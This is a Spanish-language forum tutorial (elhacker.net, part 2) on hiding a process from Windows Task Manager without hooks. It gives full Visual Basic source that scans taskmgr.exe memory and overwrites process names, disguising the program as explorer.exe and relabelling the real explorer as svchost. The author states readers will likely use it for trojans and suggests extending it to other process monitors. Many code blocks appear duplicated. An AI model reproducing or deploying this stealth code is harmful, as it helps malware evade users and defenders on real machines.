
Empecemos otra vez con la continuacion del post anterior de "Ocultar un proceso en el Taskmgr sin hooks", no se si este metodo de ocultamiento, ya haya sido hecho por otra persona, o si ya lo hubiesen visto, pero aun asi me atrevo a explicarselos, nunca digo: "Yo me invente esto, yo hice aquello", por la sencilla razon de que uno no sabe en realidad si alguien fue mas rapido, solo digo:"Se me ocurrio tal cosa, hice tal otra", posteo todas estas cosas por venganza, cuando yo era un "Muuuy principiante" en programacion, no sabia como adquirir mas conocimientos, solo leyendo, por eso les digo no esperen a que sus profes de programacion les enseñen cosas, por lo menos aqui en colombia desafortunadamente la mayoria, NO TODOS, son unos mediocres profesores, y no me gusta ser egoista, yo se que la mayoria lo va a utilizar para babosadas como para los troyanos, pero bueno, que se les hace, yo tambien lo haria, solo espero que lo lean, lo estudien y aprendan almenos algo, y no solo hagan un copy-paste de codigo.
Bueno ya dejemos todo ese bla, bla, bla, basta de explicaciones y empecemos con el tema, deben ya estar aburridos.
El metodo es bastante sencillo por cierto, es simplemente, barrer la memoria de cierto proceso que no quiero decir cual es pero que se que ustedes ya se imaginan, en busca de unos daticos muy utiles e interesantes, para modificarlos, ya se imaginan cuales?, este metodo, me atrevo a decir es 90% efectivo. bueno para todo esto vamos a utilizar unas pocas APIs, como para que no se asusten de tanta api y tanto codigo, como en el metodo anterior, vamos a utilizar las siguientes:
CreateToolhelp32Snapshot
Código:
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
DWORD dwFlags,
DWORD th32ProcessID
);
como la mayoria creo que ya saben, porque parece que la han manejado antes en el foro, para los que no, esta API toma como una especie de imagen o "foto" de los heaps, modulos y threads usados por un proceso especifico, esta "foto" es tomada por otras funciones(APIs) que son llamadas funciones de "tool help services", para ser examinada y entregarnos algunos resultados dependiendo de la funcion, las funcioncillas de las que hablo son estas:
CreateToolhelp32Snapshot
Heap32First
Heap32ListFirst
Heap32ListNext
Heap32Next
Module32First
Module32Next
Process32First
Process32Next
Thread32First
Thread32Next
Toolhelp32ReadProcessMemory
y segun la Windows Programmers reference, el acceso al SnapShot es de solo lectura, asi que no podemos modificar directamente los manejadores de los procesos obviamente.
en el primer parametro, tenemos a dwFlags, este parametro especifica que partes del sistema van a ser incluidas en el SnapShot(foto), puede tener alguno de los siguientes valores:
TH32CS_INHERIT indica que el handle del SnapShot va a ser heredado
TH32CS_SNAPHEAPLIST indica incluir la lista de heaps de un proceso determinado en el SnapShot
TH32CS_SNAPMODULE indica incluir la lista de modulos de un proceso determinado en el SnapShot
TH32CS_SNAPPROCESS incluye la lista de procesos en el SnapShot
TH32CS_SNAPTHREAD incluye la lista de threads en el SnapShot
TH32CS_SNAPALL todas las anteriores excepto la primera.
y el segundo parametro es th32ProcessID que indica el identificador de proceso, este parametro, es utilizado cuando utilizamos las opciones banderas, como TH32CS_SNAPMODULE o TH32CS_SNAPHEAPLIST, de lo contrario se pondria un 0 (cero) significando el proceso desde el que se llama la funcion osea el nuestro.
CloseHandle
Código:
BOOL CloseHandle(
HANDLE hObject
);
HANDLE hObject
);
la funcion CloseHandle obviamente como su nombre lo indica, cierra un objeto tipo handle que haya sido abierto, es decir siempre que creemos un objeto tipo handle con otra api debemos liberar memoria(cerrarlo) con la funcion CloseHandle, como son los siguientes tipos de handle:
Communications device
Console input
Console screen buffer
Event
File
File mapping
Job
Mailslot
Mutex
Named pipe
Process
Semaphore
Socket
Thread
Token
en nuestro caso la utilizaremos para cerrar el objeto creado por CreateToolhelp32Snapshot, es decir el SnapShot. Cuando utilicemos un SnapShot en algun programita debemos "cerrar" ese SnapShot ya que si no lo hicieramos, causaria una fuga de memoria hasta que nuestro proceso se vuelva "miercoles" a la vez que el sistema reclamaria esta memoria. Ahh y el SnapShot actua como un handle de archivo, tambien se utilizara para la fruncion OpenProcess.
Process32First
Código:
BOOL WINAPI Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
esta funcioncilla nos entrega la info respecto al primer proceso encontrado en el SnapShot, sus parametros:
hSnapshot Es el handle retornado por haber llamado a la funcion CreateToolhelp32Snapshot, es decir el handle del SnapShot
lppe Es un puntero a la estructura PROCESSENTRY32 la cual es como sigue:
Código:
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
DWORD th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
char szExeFile[MAX_PATH];
} PROCESSENTRY32;
typedef PROCESSENTRY32 * PPROCESSENTRY32;
typedef PROCESSENTRY32 * LPPROCESSENTRY32;
Miembros de la estructura:DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
DWORD th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
char szExeFile[MAX_PATH];
} PROCESSENTRY32;
typedef PROCESSENTRY32 * PPROCESSENTRY32;
typedef PROCESSENTRY32 * LPPROCESSENTRY32;
dwSize Tamaño de la estructura osea sizeof(PROCESSENTRY32)
cntUsage Numero de referencias al proceso
th32ProcessID Identificador del proceso
th32DefaultHeapID Identificador del heap asignado al proceso
th32ModuleID Modulo identificador del proceso
cntThreads numero de threads de ejecucion creados por el proceso
th32ParentProcessID identificador del proceso que creó el proceso siendo examinado
pcPriClassBase Prioridad base de algunos threads creados por el procesos
dwFlags Reservado, retorna el numero de bytes escritos por la
szExeFile Ruta y nombre del ejecutable para el proceso
en esta estructura se guardara toda la info del primer proceso del SnapShot.
Process32Next
Código:
BOOL WINAPI Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
nos retorna la info guardandola en donde ya sabemos (parametro lppe) pero esta vez del siguiente proceso en el SnapShot.HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
y por ultimo nuestras queridisimas:
ReadProcessMemory
Código:
BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD lpNumberOfBytesRead
);
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD lpNumberOfBytesRead
);
Su nombre es muy claro, lee la memoria de un proceso especificado. recordemos que el area de lectura en el proceso debe ser accesible o sino la funcion no nos serviria.
Parametros:
hProcess Handle al proceso al cual se va a hacer la lectura
lpBaseAddress Direccion donde empezaremos a leer
lpBuffer Direcion del buffer en el cual vamos a poner los datos leidos
nSize Numero de bytes que vamos a leer
lpNumberOfBytesRead Direccion del numero de bytes que se han leido despues de llamar a la funcion.
el proceso debe tener acceso PROCESS_VM_READ para poder ser leido.
y
WriteProcessMemory
Código:
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD lpNumberOfBytesWritten
);
HANDLE hProcess,
LPVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD lpNumberOfBytesWritten
);
ya me imagino que saben que es lo que hace, es identica a la ReadProcessMemory pero para escritura, los mismos parametros pero para escritura.
el proceso debe tener acceso PROCESS_VM_WRITE y PROCESS_VM_OPERATION para poder ser escrito.
uff casi se me olvida, jejeje:
OpenProcess
The OpenProcess function returns a handle to an existing process object.
Código:
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
principalmente se utiliza para obtener el handle a proceso esxistente, la utilizaremos para poder utilizar las 2 anteriores, valga la redundancia.
Parametros:
dwDesiredAccess Especifica el tipo de acceso al proceso:
PROCESS_ALL_ACCESS Todos los posibles flags de acceso al proceso
PROCESS_CREATE_PROCESS Usado internamente
PROCESS_CREATE_THREAD se habilita usando la funcion CreateRemoteThread
PROCESS_DUP_HANDLE se habilita usando DuplicateHandle
PROCESS_QUERY_INFORMATION se habilita usando GetExitCodeProcess y GetPriorityClass
PROCESS_SET_INFORMATION se habilita usando SetPriorityClass
PROCESS_TERMINATE se habilita usando TerminateProcess
PROCESS_VM_OPERATION se habilita usando VirtualProtectEx y WriteProcessMemory
PROCESS_VM_READ se habilita usando ReadProcessMemory
PROCESS_VM_WRITE se habilita WriteProcessMemory
SYNCHRONIZE para funciones de espera como SignalObjectAndWait, WaitForSingleObject, y WaitForSingleObjectEx.
bInheritHandle indica si el handle retornado por la funcion el heredable
dwProcessId identificador de proceso a ser abierto.
A continuacion las anteriores funciones en la declaracion para Visual Basic, structuras y constantes:
Código:
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Declare Function Process32First Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function Process32Next Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Const TH32CS_SNAPPROCESS As Long = 2&
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * 260
End Type
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Declare Function Process32First Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function Process32Next Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Const TH32CS_SNAPPROCESS As Long = 2&
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * 260
End Type
ahora si empecemos a tirar codigo.
en un modulo:
Código:
Public Const TH32CS_SNAPPROCESS As Long = 2&
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * 260
End Type
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public unaListaProcesos As String
Public HandleTaskMgr As Long
Public HandleProceso As Long
Public elSnapShot As Long
Function AbrirProceso(pID As Long) As Boolean
HandleProceso = OpenProcess(PROCESS_ALL_ACCESS, False, pID)
If (HandleProceso = 0) Then
AbrirProceso = False
HandleTaskMgr = 0
Else
AbrirProceso = True
HandleTaskMgr = HandleProceso
End If
End Function
Public Function ConvAUnicode(cadena As String) As String
Dim UAnt As String, i As Integer
For i = 1 To Len(cadena)
UAnt = UAnt & Chr(0) & Mid(cadena, i, 1)
Next i
ConvAUnicode = UAnt
End Function
'-------------------------------------------------------------------------------------------Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * 260
End Type
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public unaListaProcesos As String
Public HandleTaskMgr As Long
Public HandleProceso As Long
Public elSnapShot As Long
Function AbrirProceso(pID As Long) As Boolean
HandleProceso = OpenProcess(PROCESS_ALL_ACCESS, False, pID)
If (HandleProceso = 0) Then
AbrirProceso = False
HandleTaskMgr = 0
Else
AbrirProceso = True
HandleTaskMgr = HandleProceso
End If
End Function
Public Function ConvAUnicode(cadena As String) As String
Dim UAnt As String, i As Integer
For i = 1 To Len(cadena)
UAnt = UAnt & Chr(0) & Mid(cadena, i, 1)
Next i
ConvAUnicode = UAnt
End Function
en un formulario:
Código:
Option Explicit
'----------------------------------------------------------------------------
' Code del Articulo "Ocultar del TaskMgr sin hooks" parte 2 |
' De ZEALOT para http://foro.elhacker.net |
'----------------------------------------------------------------------------
Private Sub Form_Load()
App.Title = ""
Timer1.Interval = 500
End Sub
Private Sub Form_Unload(Cancel As Integer)
CloseHandle elSnapShot
CloseHandle HandleProceso
End Sub
Private Sub Timer1_Timer()
Timer1.Enabled = False
Dim otraListaProcesos As String
Dim Procesos As PROCESSENTRY32
Procesos.dwSize = Len(Procesos)
elSnapShot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
Process32First elSnapShot, Procesos
otraListaProcesos = "|" & Procesos.th32ProcessID & "|"
While Process32Next(elSnapShot, Procesos)
If InStr(1, unaListaProcesos, "|" & Procesos.th32ProcessID & "|") = 0 Then
If Left(Procesos.szexeFile, InStr(Procesos.szexeFile, Chr(0)) - 1) = "taskmgr.exe" Then
Esconder Procesos.th32ProcessID, "explorer.exe", "svchost.exe "
Esconder Procesos.th32ProcessID, "EXPLORER.EXE", "svchost.exe "
Esconder Procesos.th32ProcessID, App.EXEName & ".exe", "explorer.exe"
Else
DoEvents
End If
End If
otraListaProcesos = otraListaProcesos & "|" & Procesos.th32ProcessID & "|"
Wend
unaListaProcesos = otraListaProcesos
Timer1.Enabled = True
End Sub
Private Sub Esconder(pID_TaskMgr As Long, BuscarApp As String, CambiarApp As String)
If AbrirProceso(pID_TaskMgr) = False Then MsgBox "No hay permisos para abrir el proceso": Exit Sub
Dim BuscarProc As String
Dim CambiaProc As String
Dim Direccion As Long
Dim posIni As Long
Dim DirEscritura As Long
Dim bytesLeidos As Long
Dim bytesEscritos As Long
Dim buffer As String * 20480
BuscarProc = ConvAUnicode(BuscarApp)
DoEvents
CambiaProc = ConvAUnicode(CambiarApp)
DoEvents
For Direccion = 0 To 500
Call ReadProcessMemory(HandleTaskMgr, Direccion * 20480, buffer, 20480, bytesLeidos)
If bytesLeidos > 0 Then
posIni = 1
While InStr(posIni, buffer, BuscarProc) > 0
DirEscritura = (Direccion) * 20480 + InStr(posIni, buffer, BuscarProc) - 1
Call WriteProcessMemory(HandleTaskMgr, CLng(DirEscritura), CambiaProc, Len(CambiaProc), bytesEscritos)
posIni = InStr(posIni, buffer, Trim(BuscarProc)) + 1
Wend
End If
Next Direccion
DoEvents
End Sub
'--------------------------------------------------------------------------------------------'----------------------------------------------------------------------------
' Code del Articulo "Ocultar del TaskMgr sin hooks" parte 2 |
' De ZEALOT para http://foro.elhacker.net |
'----------------------------------------------------------------------------
Private Sub Form_Load()
App.Title = ""
Timer1.Interval = 500
End Sub
Private Sub Form_Unload(Cancel As Integer)
CloseHandle elSnapShot
CloseHandle HandleProceso
End Sub
Private Sub Timer1_Timer()
Timer1.Enabled = False
Dim otraListaProcesos As String
Dim Procesos As PROCESSENTRY32
Procesos.dwSize = Len(Procesos)
elSnapShot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
Process32First elSnapShot, Procesos
otraListaProcesos = "|" & Procesos.th32ProcessID & "|"
While Process32Next(elSnapShot, Procesos)
If InStr(1, unaListaProcesos, "|" & Procesos.th32ProcessID & "|") = 0 Then
If Left(Procesos.szexeFile, InStr(Procesos.szexeFile, Chr(0)) - 1) = "taskmgr.exe" Then
Esconder Procesos.th32ProcessID, "explorer.exe", "svchost.exe "
Esconder Procesos.th32ProcessID, "EXPLORER.EXE", "svchost.exe "
Esconder Procesos.th32ProcessID, App.EXEName & ".exe", "explorer.exe"
Else
DoEvents
End If
End If
otraListaProcesos = otraListaProcesos & "|" & Procesos.th32ProcessID & "|"
Wend
unaListaProcesos = otraListaProcesos
Timer1.Enabled = True
End Sub
Private Sub Esconder(pID_TaskMgr As Long, BuscarApp As String, CambiarApp As String)
If AbrirProceso(pID_TaskMgr) = False Then MsgBox "No hay permisos para abrir el proceso": Exit Sub
Dim BuscarProc As String
Dim CambiaProc As String
Dim Direccion As Long
Dim posIni As Long
Dim DirEscritura As Long
Dim bytesLeidos As Long
Dim bytesEscritos As Long
Dim buffer As String * 20480
BuscarProc = ConvAUnicode(BuscarApp)
DoEvents
CambiaProc = ConvAUnicode(CambiarApp)
DoEvents
For Direccion = 0 To 500
Call ReadProcessMemory(HandleTaskMgr, Direccion * 20480, buffer, 20480, bytesLeidos)
If bytesLeidos > 0 Then
posIni = 1
While InStr(posIni, buffer, BuscarProc) > 0
DirEscritura = (Direccion) * 20480 + InStr(posIni, buffer, BuscarProc) - 1
Call WriteProcessMemory(HandleTaskMgr, CLng(DirEscritura), CambiaProc, Len(CambiaProc), bytesEscritos)
posIni = InStr(posIni, buffer, Trim(BuscarProc)) + 1
Wend
End If
Next Direccion
DoEvents
End Sub
la explicacion:
como vi que parece que muchos se aburrieron con tanta explicacion en el articulo anterior, voy a explicar todo brevemente.
en el modulo hay 2 funciones, una sirve para convertir de una cadena normal y corriente a una Unicode, la segunda funcion sirve para obtener el handle de un proceso cualquiera en nuestro caso el TaskMgr, es decir el administrador de tareas de windows, luego en el formulario, tenemos el evento de Load, App.Title = "" el cual sirve para borrar nuestra aplicacion de la lista normal de tareas del TaskMgr, despues en el evento del timer1, creamos el SnapShot, obtenemos nuestro primer proceso, del SnapShot y luego los siguientes, que porque no lo checamos? pues porque usualmente es System, luego ahi si checamos a ver si es el TaskMgr, el primer "If" del bucle es para saber si se ha modificado la lista de procesos, es decir si se ha creado unn nuevo proceso, para "tapar" el nuestro, todos los procesos los almacenamos en una variable global "unaListaProcesos" para poder leerla al siguiente intervalo del timer, que porque desabilito el timer1 al comienzo, pos segun pruebas, y consultas, para no joder tanto la memoria mientras hacemos cosillas, no es obligatorio, si quieren quitenlo.
luego en la funcion "Esconder" cuyos parametros creo que son obvios, convertimos las cadenas a Unicode, y barremos la memoria del TaskMgr leyendola con ReadProcessMemory, estas lecturas se hacen con un buffer de 20K, para despues mediante un bucle, buscar la cadena que necesitamos modificar, luego escribimos la memoria con WriteProcessMemory reemplazando nuestra cadena con el otro parametro de la funcion osea CambiaProc. y listo, hemos ocultado nuestro proceso "tapandonos" detras del de "explorer.exe", y tapamos el verdadero "explorer.exe" con el de "svchost.exe ", solo aclaro unas cosillas los procesos a buscar y reemplazar deben tener el mismo numero de caracteres, porque de lo contrario estariamos corriendo o sobreescribiendo memoria que no deberiamos, yo se que ustedes pueden mejorarlo, modificandolo, para que busque otras cadenas importantes, como la ruta de nuestro ejecutable, o el pID cambiandoselas, y hasta en varios procesos, que se utilicen como monitores de procesos, aparte del TaskMgr, solo utilicen la imaginacion, con respecto al anterior articulo, ya mejore el codigo, para que no se comiera tanta memoria del proceso(TaskMg), vean que escribí: memoria, no CPU!!, bueno yo creo que es todo por hoy, y hasta la proxima, depronto me anime a explicarles algo a algunos, sobre las PIPES, ya que he visto mucha pregunta sobre esto en posts antiguos.
ahh se me olvidaba, para los que dicen:"No me funcionó el codigo!!!" pues aqui dejo un vinculo a un comprimido en donde se encuentra el articulo y el codigo fuente del ejemplo, recuerden que el nombre del ejecutable DEBE tener el mismo numero de caracteres que el proceso con el cual se va a esconder. http://es.geocities.com/camro20042004/jojojoFelizNavidad.zip
ahh y si por alguna extraña razon no sirve el ejemplo anterior, solo aumenten un poco el bulce "For Direccion = 0 To 500" a este otro "For Direccion = 0 To 1000".
Bye y hasta la proxima vez que tenga tiempo.